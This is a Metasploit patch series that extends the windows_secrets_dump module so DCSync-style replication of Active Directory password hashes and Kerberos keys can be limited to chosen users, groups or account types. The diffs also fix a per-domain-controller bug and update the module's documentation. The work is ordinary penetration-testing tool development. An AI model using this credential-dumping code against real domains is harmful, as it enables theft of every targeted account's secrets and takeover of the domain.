From 6c3e13a31fe72e38bc45a14c2b1e5fc2ceb30ec7 Mon Sep 17 00:00:00 2001 From: Ashley Donaldson Date: Tue, 12 Nov 2024 17:04:40 +1100 Subject: [PATCH 1/7] Able to query just a subset of users --- .../auxiliary/gather/windows_secrets_dump.rb | 46 +++++++++++++++++-- 1 file changed, 42 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/gather/windows_secrets_dump.rb b/modules/auxiliary/gather/windows_secrets_dump.rb index cd2c71322505..951c2a7cbb61 100644 --- a/modules/auxiliary/gather/windows_secrets_dump.rb +++ b/modules/auxiliary/gather/windows_secrets_dump.rb @@ -63,7 +63,8 @@ module will fallback to the original implementation, which consists 'Author' => [ 'Alberto Solino', # Original Impacket code 'Christophe De La Fuente', # MSF module - 'antuache' # Inline technique + 'antuache', # Inline technique + 'smashery' # Querying subset of domain accounts ], 'References' => [ ['URL', 'https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py'], @@ -91,7 +92,9 @@ module will fallback to the original implementation, which consists 'INLINE', [ true, 'Use inline technique to read protected keys from the registry remotely without saving the hives to disk', true ], conditions: ['ACTION', 'in', %w[ALL SAM CACHE LSA]] - ) + ), + OptEnum.new('KERBEROS_TYPES', [true, 'Which type of accounts to retrieve kerberos details for', 'ALL', ['ALL','USERS_ONLY','COMPUTERS_ONLY']], conditions: ['ACTION', 'in', %w[ALL DOMAIN]]), + OptString.new('KERBEROS_USERS', [false, 'Which specific accounts to retrieve kerberos details for', ''], conditions: ['ACTION', 'in', %w[ALL DOMAIN]]) ] ) @@ -609,7 +612,14 @@ def connect_samr(domain_name) end def get_domain_users - users = @samr.samr_enumerate_users_in_domain(domain_handle: @domain_handle) + user_uac = RubySMB::Dcerpc::Samr::USER_NORMAL_ACCOUNT + computer_uac = RubySMB::Dcerpc::Samr::USER_WORKSTATION_TRUST_ACCOUNT | RubySMB::Dcerpc::Samr::USER_SERVER_TRUST_ACCOUNT | RubySMB::Dcerpc::Samr::USER_INTERDOMAIN_TRUST_ACCOUNT + all_uac = user_uac | computer_uac + uac = {'ALL' => all_uac, + 'USERS_ONLY' => user_uac, + 'COMPUTERS_ONLY' => computer_uac + }[datastore['KERBEROS_TYPES']] + users = @samr.samr_enumerate_users_in_domain(domain_handle: @domain_handle, user_account_control: uac) vprint_status("Obtained #{users.length} domain users, fetching the SID for each...") progress_interval = 250 nb_digits = (Math.log10(users.length) + 1).floor @@ -830,6 +840,27 @@ def parse_user_record(dcerpc_client, user_record) result end + def get_domain_users_by_name(names) + if datastore['KERBEROS_TYPES'] != 'ALL' + print_warning("Searching for specific users; KERBEROS_TYPES setting (#{datastore['KERBEROS_TYPES']}) will be ignored") + end + + details = @samr.samr_lookup_names_in_domain( + domain_handle: @domain_handle, + names: names + ) + raise Msf::Exploit::Remote::MsSamr::MsSamrNotFoundError, 'One or more of the provided names was not found.' if details.nil? + + names.map do |name| + user_details = details[name] + sid = @samr.samr_rid_to_sid( + object_handle: @domain_handle, + rid: user_details[:rid] + ).to_s + [sid, name] + end + end + def dump_ntds_hashes _machine_name, domain_name, dns_domain_name = get_machine_name_and_domain_info return unless domain_name @@ -846,7 +877,12 @@ def dump_ntds_hashes ) return end - users = get_domain_users + specific_users = datastore['KERBEROS_USERS'].strip.split(',') + if specific_users.length == 0 + users = get_domain_users + else + users = get_domain_users_by_name(specific_users) + end dcerpc_client = connect_drs unless dcerpc_client @@ -1219,6 +1255,8 @@ def run fail_with(Module::Failure::UnexpectedReply, "[#{e.class}] #{e}") rescue Rex::ConnectionError => e fail_with(Module::Failure::Unreachable, "[#{e.class}] #{e}") + rescue Msf::Exploit::Remote::MsSamr::MsSamrError => e + fail_with(Module::Failure::BadConfig, "[#{e.class}] #{e}") rescue ::StandardError => e do_cleanup raise e From 1705203ad867157718905e1f66ddf1477fd9cb1f Mon Sep 17 00:00:00 2001 From: Ashley Donaldson Date: Wed, 13 Nov 2024 16:51:38 +1100 Subject: [PATCH 2/7] Support DCSyncing by group too --- .../auxiliary/gather/windows_secrets_dump.rb | 63 ++++++++++++------- 1 file changed, 41 insertions(+), 22 deletions(-) diff --git a/modules/auxiliary/gather/windows_secrets_dump.rb b/modules/auxiliary/gather/windows_secrets_dump.rb index 951c2a7cbb61..6d5540963eb9 100644 --- a/modules/auxiliary/gather/windows_secrets_dump.rb +++ b/modules/auxiliary/gather/windows_secrets_dump.rb @@ -93,8 +93,8 @@ module will fallback to the original implementation, which consists [ true, 'Use inline technique to read protected keys from the registry remotely without saving the hives to disk', true ], conditions: ['ACTION', 'in', %w[ALL SAM CACHE LSA]] ), - OptEnum.new('KERBEROS_TYPES', [true, 'Which type of accounts to retrieve kerberos details for', 'ALL', ['ALL','USERS_ONLY','COMPUTERS_ONLY']], conditions: ['ACTION', 'in', %w[ALL DOMAIN]]), - OptString.new('KERBEROS_USERS', [false, 'Which specific accounts to retrieve kerberos details for', ''], conditions: ['ACTION', 'in', %w[ALL DOMAIN]]) + OptEnum.new('KRB_TYPES', [true, 'Which type of accounts to retrieve kerberos details for', 'ALL', ['ALL', 'USERS_ONLY', 'COMPUTERS_ONLY']], conditions: ['ACTION', 'in', %w[ALL DOMAIN]]), + OptString.new('KRB_USERS', [false, 'Which specific user accounts or groups to retrieve kerberos details for', ''], conditions: ['ACTION', 'in', %w[ALL DOMAIN]]) ] ) @@ -615,10 +615,11 @@ def get_domain_users user_uac = RubySMB::Dcerpc::Samr::USER_NORMAL_ACCOUNT computer_uac = RubySMB::Dcerpc::Samr::USER_WORKSTATION_TRUST_ACCOUNT | RubySMB::Dcerpc::Samr::USER_SERVER_TRUST_ACCOUNT | RubySMB::Dcerpc::Samr::USER_INTERDOMAIN_TRUST_ACCOUNT all_uac = user_uac | computer_uac - uac = {'ALL' => all_uac, - 'USERS_ONLY' => user_uac, - 'COMPUTERS_ONLY' => computer_uac - }[datastore['KERBEROS_TYPES']] + uac = { + 'ALL' => all_uac, + 'USERS_ONLY' => user_uac, + 'COMPUTERS_ONLY' => computer_uac + }[datastore['KRB_TYPES']] users = @samr.samr_enumerate_users_in_domain(domain_handle: @domain_handle, user_account_control: uac) vprint_status("Obtained #{users.length} domain users, fetching the SID for each...") progress_interval = 250 @@ -841,24 +842,37 @@ def parse_user_record(dcerpc_client, user_record) end def get_domain_users_by_name(names) - if datastore['KERBEROS_TYPES'] != 'ALL' - print_warning("Searching for specific users; KERBEROS_TYPES setting (#{datastore['KERBEROS_TYPES']}) will be ignored") - end - details = @samr.samr_lookup_names_in_domain( - domain_handle: @domain_handle, - names: names - ) - raise Msf::Exploit::Remote::MsSamr::MsSamrNotFoundError, 'One or more of the provided names was not found.' if details.nil? + domain_handle: @domain_handle, + names: names + ) + raise Msf::Exploit::Remote::MsSamr::MsSamrNotFoundError, 'One or more of the provided names was not found.' if details.nil? - names.map do |name| + result = [] + names.each do |name| user_details = details[name] - sid = @samr.samr_rid_to_sid( - object_handle: @domain_handle, - rid: user_details[:rid] - ).to_s - [sid, name] + case user_details[:use] + when 1 # SidTypeUser + sid = @samr.samr_rid_to_sid( + object_handle: @domain_handle, + rid: user_details[:rid] + ).to_s + result.append([sid, name]) + when 2 # SidTypeGroup + handle = @samr.samr_open_group(domain_handle: @domain_handle, group_id: user_details[:rid]) + results = @samr.samr_get_members_in_group(group_handle: handle) + results.each do |entry| + member_rid = entry[0] + sid = @samr.samr_rid_to_sid( + object_handle: @domain_handle, + rid: member_rid + ).to_s + result.append([sid, '']) + end + end end + + result end def dump_ntds_hashes @@ -877,10 +891,15 @@ def dump_ntds_hashes ) return end - specific_users = datastore['KERBEROS_USERS'].strip.split(',') - if specific_users.length == 0 + specific_users = datastore['KRB_USERS'].strip.split(',') + + if specific_users.empty? users = get_domain_users else + if datastore['KRB_TYPES'] != 'ALL' + print_warning("Searching for specific users/groups; KRB_TYPES setting (#{datastore['KRB_TYPES']}) will be ignored") + end + users = get_domain_users_by_name(specific_users) end From 67c33fa95fe7b144fec47a64f6f5c65a396f0749 Mon Sep 17 00:00:00 2001 From: Ashley Donaldson Date: Thu, 14 Nov 2024 15:13:59 +1100 Subject: [PATCH 3/7] Fix bug: DCSync only once, rather than once per DC that exists in the domain - Also only DCSync each user once (if they're specified multiple times in KRB_USERS) - Also be resilient to spaces in the comma-sepration --- .../auxiliary/gather/windows_secrets_dump.rb | 46 +++++++++---------- 1 file changed, 23 insertions(+), 23 deletions(-) diff --git a/modules/auxiliary/gather/windows_secrets_dump.rb b/modules/auxiliary/gather/windows_secrets_dump.rb index 6d5540963eb9..de2deae90abf 100644 --- a/modules/auxiliary/gather/windows_secrets_dump.rb +++ b/modules/auxiliary/gather/windows_secrets_dump.rb @@ -891,7 +891,7 @@ def dump_ntds_hashes ) return end - specific_users = datastore['KRB_USERS'].strip.split(',') + specific_users = datastore['KRB_USERS'].strip.split(',').map { |s| s.strip } if specific_users.empty? users = get_domain_users @@ -903,6 +903,8 @@ def dump_ntds_hashes users = get_domain_users_by_name(specific_users) end + sids = Set.new(users.map {|sid_and_user| sid_and_user[0]}) + dcerpc_client = connect_drs unless dcerpc_client print_error( @@ -914,29 +916,27 @@ def dump_ntds_hashes ph_drs = dcerpc_client.drs_bind dc_infos = dcerpc_client.drs_domain_controller_info(ph_drs, domain_name) user_info = {} - dc_infos.each do |dc_info| - users.each do |user| - sid = user[0] - crack_names = dcerpc_client.drs_crack_names(ph_drs, rp_names: [sid]) - crack_names.each do |crack_name| - user_record = dcerpc_client.drs_get_nc_changes( - ph_drs, - nc_guid: crack_name.p_name.to_s.encode('utf-8'), - dsa_object_guid: dc_info.ntds_dsa_object_guid - ) - user_info[sid] = parse_user_record(dcerpc_client, user_record) - end + dc_info = dc_infos[0] + sids.each do |sid| + crack_names = dcerpc_client.drs_crack_names(ph_drs, rp_names: [sid]) + crack_names.each do |crack_name| + user_record = dcerpc_client.drs_get_nc_changes( + ph_drs, + nc_guid: crack_name.p_name.to_s.encode('utf-8'), + dsa_object_guid: dc_info.ntds_dsa_object_guid + ) + user_info[sid] = parse_user_record(dcerpc_client, user_record) + end - groups = get_user_groups(sid) - groups.each do |group| - case group.name - when 'BUILTIN\\Administrators' - user_info[sid][:admin] = true - when '(domain)\\Domain Admins' - user_info[sid][:domain_admin] = true - when '(domain)\\Enterprise Admins' - user_info[sid][:enterprise_admin] = true - end + groups = get_user_groups(sid) + groups.each do |group| + case group.name + when 'BUILTIN\\Administrators' + user_info[sid][:admin] = true + when '(domain)\\Domain Admins' + user_info[sid][:domain_admin] = true + when '(domain)\\Enterprise Admins' + user_info[sid][:enterprise_admin] = true end end end From 3e3e81ff2258d659a859b720e840c2090395e56b Mon Sep 17 00:00:00 2001 From: Ashley Donaldson Date: Thu, 14 Nov 2024 15:15:06 +1100 Subject: [PATCH 4/7] Update documentation with new datastore options --- .../auxiliary/gather/windows_secrets_dump.md | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/documentation/modules/auxiliary/gather/windows_secrets_dump.md b/documentation/modules/auxiliary/gather/windows_secrets_dump.md index 3d08b25cbdfc..b0a94e59012f 100644 --- a/documentation/modules/auxiliary/gather/windows_secrets_dump.md +++ b/documentation/modules/auxiliary/gather/windows_secrets_dump.md @@ -27,7 +27,7 @@ Solino. ### Setup A privileged user is required to run this module, typically a local or domain Administrator. It has been tested against multiple Windows versions, from -Windows XP/Server 2003 to Windows 10/Server version 2004. +Windows XP/Server 2003 to Windows 10/Server version 2022. ## Verification Steps 1. Start msfconsole @@ -53,6 +53,18 @@ Windows XP/Server 2003 to Windows 10/Server version 2004. Use inline technique to read protected keys from the registry remotely without saving the hives to disk (default: true). +### KRB_USERS +Restrict retrieving domain information to the users or groups specified. This +is a comma-separated list of Active Directory groups and users. This parameter +is only utilised for domain replication (`action` set to `DOMAIN` or `ALL`). +`set KRB_USERS "user1,user2,Domain Admins" + +### KRB_TYPES +Restrict retrieving domain information to a specific type of account; either +`USERS_ONLY` or `COMPUTERS_ONLY`, or `ALL` to retrieve all accounts. This +parameter is only utilised for domain replication (`action` set to `DOMAIN` or +`ALL`). It is ignored if `KRB_USERS` is also set. + ## Actions ### ALL From 715fa3c559a990feb8be9563e484d93cbfaadbb8 Mon Sep 17 00:00:00 2001 From: Ashley Donaldson Date: Thu, 14 Nov 2024 17:58:00 +1100 Subject: [PATCH 5/7] Msftidy fixes --- modules/auxiliary/gather/windows_secrets_dump.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/gather/windows_secrets_dump.rb b/modules/auxiliary/gather/windows_secrets_dump.rb index de2deae90abf..6cc491bbb4bc 100644 --- a/modules/auxiliary/gather/windows_secrets_dump.rb +++ b/modules/auxiliary/gather/windows_secrets_dump.rb @@ -891,7 +891,7 @@ def dump_ntds_hashes ) return end - specific_users = datastore['KRB_USERS'].strip.split(',').map { |s| s.strip } + specific_users = datastore['KRB_USERS'].strip.split(',').map(&:strip) if specific_users.empty? users = get_domain_users @@ -903,7 +903,7 @@ def dump_ntds_hashes users = get_domain_users_by_name(specific_users) end - sids = Set.new(users.map {|sid_and_user| sid_and_user[0]}) + sids = Set.new(users.map { |sid_and_user| sid_and_user[0] }) dcerpc_client = connect_drs unless dcerpc_client From 717940590ad76e212adf2bcc428cca151c12889b Mon Sep 17 00:00:00 2001 From: Ashley Donaldson Date: Fri, 15 Nov 2024 11:11:41 +1100 Subject: [PATCH 6/7] Clearer datastore option description --- modules/auxiliary/gather/windows_secrets_dump.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/windows_secrets_dump.rb b/modules/auxiliary/gather/windows_secrets_dump.rb index 6cc491bbb4bc..940b1f4ebe9e 100644 --- a/modules/auxiliary/gather/windows_secrets_dump.rb +++ b/modules/auxiliary/gather/windows_secrets_dump.rb @@ -94,7 +94,7 @@ module will fallback to the original implementation, which consists conditions: ['ACTION', 'in', %w[ALL SAM CACHE LSA]] ), OptEnum.new('KRB_TYPES', [true, 'Which type of accounts to retrieve kerberos details for', 'ALL', ['ALL', 'USERS_ONLY', 'COMPUTERS_ONLY']], conditions: ['ACTION', 'in', %w[ALL DOMAIN]]), - OptString.new('KRB_USERS', [false, 'Which specific user accounts or groups to retrieve kerberos details for', ''], conditions: ['ACTION', 'in', %w[ALL DOMAIN]]) + OptString.new('KRB_USERS', [false, 'Comma-separated list of user accounts or groups to retrieve kerberos details for', ''], conditions: ['ACTION', 'in', %w[ALL DOMAIN]]) ] ) From 20b8fc61a8c6e8b7c94b1253febaa25e1bb15b6e Mon Sep 17 00:00:00 2001 From: Ashley Donaldson Date: Mon, 18 Nov 2024 09:36:31 +1100 Subject: [PATCH 7/7] Updated ruby_smb module with SAMR group membership query ability --- Gemfile.lock | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 608655456bab..c09ec9f0a4ad 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -499,11 +499,11 @@ GEM ruby-progressbar (1.13.0) ruby-rc4 (0.1.5) ruby2_keywords (0.0.5) - ruby_smb (3.3.10) + ruby_smb (3.3.11) bindata (= 2.4.15) openssl-ccm openssl-cmac - rubyntlm + rubyntlm (>= 0.6.5) windows_error (>= 0.1.4) rubyntlm (0.6.5) base64